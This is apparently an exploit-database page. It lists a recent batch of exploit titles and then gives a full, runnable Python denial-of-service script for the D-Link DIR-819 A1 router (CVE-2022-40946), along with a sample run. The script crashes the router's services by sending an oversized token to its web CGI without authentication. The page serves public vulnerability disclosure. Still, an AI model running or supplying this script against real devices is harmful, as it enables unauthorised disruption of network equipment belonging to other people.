79023d1f9c
22 changes to exploits/shellcodes/ghdb Password Manager for IIS v2.0 - XSS DLink DIR 819 A1 - Denial of Service D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution Abantecart v1.3.2 - Authenticated Remote Code Execution Bus Pass Management System 1.0 - Cross-Site Scripting (XSS) Composr-CMS Version <=10.0.39 - Authenticated Remote Code Execution Employee Performance Evaluation System v1.0 - File Inclusion and RCE GuppY CMS v6.00.10 - Remote Code Execution Human Resources Management System v1.0 - Multiple SQLi ImpressCMS v1.4.3 - Authenticated SQL Injection Lavalite v9.0.0 - XSRF-TOKEN cookie File path traversal MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi Online Diagnostic Lab Management System v1.0 - Remote Code Execution (RCE) (Unauthenticated) PHPGurukul Online Birth Certificate System V 1.2 - Blind XSS SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution Translatepress Multilinugal WordPress plugin < 2.3.3 - Authenticated SQL Injection Yoga Class Registration System v1.0 - Multiple SQLi NVFLARE < 2.1.4 - Unsafe Deserialization due to Pickle _camp_ Raspberry Pi camera server 1.0 - Authentication Bypass System Mechanic v15.5.0.61 - Arbitrary Read/Write
109 lines
No EOL
3.5 KiB
Text
109 lines
No EOL
3.5 KiB
Text
# Exploit Title: DLink DIR 819 A1 - Denial of Service
|
|
# Date: 30th September, 2022
|
|
# Exploit Author: @whokilleddb (https://twitter.com/whokilleddb)
|
|
# Vendor Homepage: https://www.dlink.com/en/products/dir-819-wireless-ac750-dual-band-router
|
|
# Version: DIR-819 (Firmware Version : 1.06 Hardware Version : A1)
|
|
# Tested on: Firmware Version - 1.06 Hardware Version - A1
|
|
# CVE : CVE-2022-40946
|
|
#
|
|
# Github: https://github.com/whokilleddb/dlink-dir-819-dos
|
|
#
|
|
# $ ./exploit.py -i 192.168.0.1
|
|
# [+] DLink DIR-819 DoS exploit
|
|
# [i] Address to attack: 192.168.0.1
|
|
# [i] Using SSL: False
|
|
# [i] Request Timeout: 30s
|
|
# [i] Buffer Length: 19
|
|
# [i] Payload: http://192.168.0.1/cgi-bin/webproc?getpage=html/index.html&errorpage=html/error.html&var:language=en_us&var:menu=basic&var:page=Bas_wansum&var:sys_Token=6307226200704307522
|
|
# [+] Exploit Successful!
|
|
|
|
#!/usr/bin/env python3
|
|
import sys
|
|
import string
|
|
import urllib3
|
|
import requests
|
|
import argparse
|
|
import random
|
|
import socket
|
|
from rich import print
|
|
|
|
|
|
# Disable SSL Warnings
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
|
|
# Globals
|
|
TIMEOUT = 30
|
|
#BUFFER_LEN = 19
|
|
BUFFER_LEN = 32
|
|
|
|
# Class to exploit
|
|
class Exploit:
|
|
def __init__(self, ip, is_ssl):
|
|
"""Initialize the constructor"""
|
|
|
|
self.ip = ip
|
|
self.is_ssl = is_ssl
|
|
|
|
_payload = f"{self.ip}/cgi-bin/webproc?getpage=html/index.html&errorpage=html/error.html&var:language=en_us&var:menu=basic&var:page=Bas_wansum&var:sys_Token={''.join(x for x in random.choices(string.digits, k=BUFFER_LEN))}"
|
|
|
|
if self.is_ssl:
|
|
self.payload = f"https://{_payload}"
|
|
else:
|
|
self.payload = f"http://{_payload}"
|
|
|
|
|
|
def show(self):
|
|
"""Show the parameters"""
|
|
|
|
print(f"[bold][[cyan]i[/cyan]] Address to attack: [green]{self.ip}[/green][/bold]")
|
|
print(f"[bold][[cyan]i[/cyan]] Using SSL: [green]{self.is_ssl}[/green][/bold]")
|
|
print(f"[bold][[cyan]i[/cyan]] Request Timeout: [green]{TIMEOUT}s[/green][/bold]")
|
|
print(f"[bold][[cyan]i[/cyan]] Buffer Length: [green]{BUFFER_LEN}[/green][/bold]")
|
|
print(f"[bold][[cyan]i[/cyan]] Payload: [green]{self.payload}[/green][/bold]")
|
|
|
|
|
|
def run(self):
|
|
"""Run the exploit"""
|
|
print(f"[bold][[magenta]+[/magenta]] DLink DIR-819 DoS exploit[/bold]")
|
|
self.show()
|
|
|
|
try:
|
|
r = requests.get(self.payload, verify=False, timeout=TIMEOUT)
|
|
if "Internal Error" in r.text:
|
|
print(f"[bold][[green]+[/green]] Exploit Successful![/bold]")
|
|
print(f"[bold][[green]+[/green]] Router services must be down![/bold]")
|
|
else:
|
|
print(f"[bold][[red]![/red]] Exploit Failed :([/bold]")
|
|
|
|
except requests.exceptions.Timeout:
|
|
print(f"[bold][[green]+[/green]] Exploit Successful![/bold]")
|
|
|
|
except Exception as e:
|
|
print(f"Error occured as: {e}")
|
|
|
|
|
|
def main():
|
|
"""Main function to run"""
|
|
|
|
parser = argparse.ArgumentParser(
|
|
description="DLink DIR-819 Unauthenticated DoS")
|
|
parser.add_argument('-i', '--ip', required=True, help="IP of the router")
|
|
parser.add_argument('-s', '--ssl', required=False, action="store_true")
|
|
|
|
opts = parser.parse_args()
|
|
|
|
try:
|
|
ip = socket.gethostbyname(opts.ip)
|
|
except socket.error:
|
|
print("[bold red][!] Invalid IP address[/bold red]", file=sys.stderr)
|
|
return
|
|
|
|
is_ssl = opts.ssl
|
|
|
|
exploit = Exploit(ip, is_ssl)
|
|
exploit.run()
|
|
|
|
|
|
if __name__ == '__main__':
|
|
main() |